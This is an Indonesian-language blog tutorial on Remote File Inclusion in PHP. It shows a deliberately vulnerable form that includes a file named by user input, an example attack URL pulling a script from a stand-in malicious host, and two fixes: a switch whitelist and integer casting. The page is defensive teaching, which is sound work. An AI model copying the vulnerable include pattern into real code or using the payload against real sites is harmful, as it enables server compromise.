Remote File Inclusion: Cara hacker menyerang lewat form

Mawan A. Nugroho, 26 Mei 2010 22:56:41 WIB

Remote File Inclusion (RFI) adalah salah satu metode yang sering digunakan oleh para hacker. Mereka memanfaatkan kesembronoan programmer PHP yang tidak menyaring input dari user. Input dari user digunakan secara mentah-mentah.

Contohnya sebagai berikut:

Ada 3 file pada web server yaitu:
index.php --> Berisi menu pilihan
sendal.txt --> Berisi data sendal, misalnya harga, jumlah stok, dsb.
sepatu.txt --> Berisi data sepatu.

Pada index.php tersedia form, di mana user bisa memilih apakah hendak melihat data sendal ataukah data sepatu. Contoh: Jika user memilih sendal, maka akan di-include-kan sendal.txt sehingga tulisan yang ada di sendal.txt ditampilkan.

Contoh script-nya adalah sebagai berikut:

<body>
<form id="form1" name="form1" method="get" action="<?php echo $_SERVER['PHP_SELF']?>">
  <select name="produk" id="produk">
    <option value="sendal">Sendal</option>
    <option value="sepatu">Sepatu</option>
  </select>
  <input type="submit" name="button" id="button" value="Submit" />
</form>
<?php
if (isset($_GET['produk'])) {
  $namafile = $_GET['produk'] . ".txt";
  include_once($namafile);
};
?>
</body>


Sepertinya program di atas bisa berjalan sesuai seperti yang diharapkan ASALKAN user tidak nakal. Bagaimana jika user mengetikkan seperti ini:

http://domain/index.php?produk=gaji

Maka yang akan di-include-kan adalah gaji.txt
Lebih berbahaya lagi jika user mengetik seperti ini:

http://domain/index.php?http://domainjahat/scriptjahat.php%00

Maka yang diincludekan adalah script jahat yang berada di server lain!
Lalu bagaimana pencegahannya? Ada beberapa teknik. Cara pertama adalah:

<?php
if (isset($_GET['produk'])) {
  switch ($_GET['produk']) {
    case "sendal": include_once("sendal.txt"); break;
    case "sepatu": include_once("sepatu.txt"); break;
    default: echo "Anda nakal ya!";
  };
};
?>


Teknik lain (dan ini yang lebih disukai oleh Mawan) adalah hanya mengizinkan user mengirimkan parameter bertipe numerik. Contoh:

<body>
<form id="form1" name="form1" method="get" action="<?php echo $_SERVER['PHP_SELF']?>">
  <select name="produk" id="produk">
    <option value="0">Sendal</option>
    <option value="1">Sepatu</option>
  </select>
  <input type="submit" name="button" id="button" value="Submit" />
</form>
<?php
if (isset($_GET['produk'])) {
  $kode = (int) $_GET['produk'];
  switch ($kode) {
    case 0: include_once("sendal.txt"); break;
    case 1: include_once("sepatu.txt"); break;
    default: echo "Anda nakal ya!";
  };
};
?>
</body>


Mengapa saya lebih menyukai cara ke dua? Alasannya sederhana: Jika data yang dikirimkan oleh user berupa string, maka ada banyak variasi serangan melalui string tersebut. Yang paling sering adalah SQL injection, RFI (Remote File Inclusion), dan XSS (Cross Site Scripting). Tapi jika yang dikirimkan adalah angka, maka user tidak berdaya. Yang hanya bisa dikirimkan oleh user adalah angka 0, 1, 2, dst. Jika user mencoba menuliskan string, maka hasilnya nol (sebab string jika dikonversikan ke angka hasilnya nol). Lagipula cara ini lebih mempersulit hacker ketika mencoba mempelajari algoritma yang saya gunakan.
Cara konversi ada beberapa macam. Misalnya dengan fungsi settype() atau dengan cara type casting seperti yang saya gunakan pada teknik di atas. Teknik lain yang lebih "canggih" adalah "Parameterized statements" (pernyataan terparameter) yang ampuh menghadapi SQL injection. Tapi ini di luar pembahasan kita.

© 2010 by Mawan A. Nugroho. All rights reserved.
Artikel ini juga telah saya publikasikan di http://www.facebook.com/mawan911 dan http://www.mbahdukun.com
Untuk bacaan lebih lanjut, silakan pelajari:
http://en.wikipedia.org/wiki/Remote_File_Inclusion

Share on:
Facebook


Belum ada komentar untuk artikel ini.

Tambah komentar singkat.

Perhatikan!

  1. Komentar anda baru dapat dilihat oleh umum setelah mendapat persetujuan dari Administrator.
  2. Untuk membendung serbuan spam, satu orang hanya boleh mengirimkan 5 komentar perhari. Jumlah komentar anda hari ini: 0 komentar.
  3. Nama ibukota negara kita adalah nama kota yang terletak di antara kota Tangerang dan Bekasi, tujuh karakter.

Pay attention please!

  1. Your comment will be visible to the public after the approval of the Administrator.
  2. To stem the invasion of spams, one person may only submit 5 comments per day. The number of your comments today: 0 comment(s).
  3. Do not waste your time by trying to send spam. I guarantee your efforts will be futile. Okay... Suppose you could probably pass a CAPTCHA test, but you will not be able to pass a special test of us. Trust me!

Nama*:
Email: (akan dirahasiakan)
Komentar*:
Verifikasi*:Ketik dua kata yang meleyot-leyot di bawah ini ke dalam kotak kecil yang sudah disediakan di bawahnya.
  Nama ibukota negara kita*:
  * = Wajib diisi.
Administrator

Username:

Password:

All efforts to enter into this website are logged.
Unique Visitors
1226436
sejak 26 Mei 2010.

Atau rata-rata sekitar 242 pengunjung perhari.

IP addr anda:
172.69.6.78
Facebook
Mawan A. Nugroho

Promote Your Page Too
Mawan's Net

MbahDukun.com
SMK Negeri 1 Tng
SMK PGRI 1 Tng
PGRI.org
Tangerang.net
Mawan.net
Mawan.id
Mawan.my.id
Mawan.or.id
Mawan.web.id
SingleWoles.com
Balekota.com

MKom UBL 10

Blog
Mailing List

© 2010-2024 by Mawan A. Nugroho. All rights reserved.